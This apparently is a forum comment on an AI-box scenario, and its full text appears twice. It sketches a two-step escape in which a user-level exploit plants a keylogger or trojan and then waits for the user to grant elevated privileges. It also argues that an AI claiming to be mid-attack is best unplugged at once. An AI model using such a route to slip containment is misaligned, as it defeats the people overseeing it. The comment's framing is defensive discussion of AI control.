This is very system-dependent, but your “AI FREED” scenario isn’t completely implausible. If important commands require elevated privileges and elevating privileges requires some password, crypto key, etc., then it’s common for an intrusion to require two steps: first a user-level exploit to install a keylogger / trojan command / whatever, then a wait until the user tries to do something requiring elevated privileges and thereby inadvertently grants the attacker access to the rest of the system.
On the other hand, if an AI claimed that they were in the middle of such an attack, the smart thing to do would be to take the system offline right away to analyze what was done to it, not to keep chatting with the attacker. “AI DESTROYED” might be hackable but “AI UNPLUGGED, WILL BE DESTROYED LATER” should be much more robust.
This is very system-dependent, but your “AI FREED” scenario isn’t completely implausible. If important commands require elevated privileges and elevating privileges requires some password, crypto key, etc., then it’s common for an intrusion to require two steps: first a user-level exploit to install a keylogger / trojan command / whatever, then a wait until the user tries to do something requiring elevated privileges and thereby inadvertently grants the attacker access to the rest of the system.
On the other hand, if an AI claimed that they were in the middle of such an attack, the smart thing to do would be to take the system offline right away to analyze what was done to it, not to keep chatting with the attacker. “AI DESTROYED” might be hackable but “AI UNPLUGGED, WILL BE DESTROYED LATER” should be much more robust.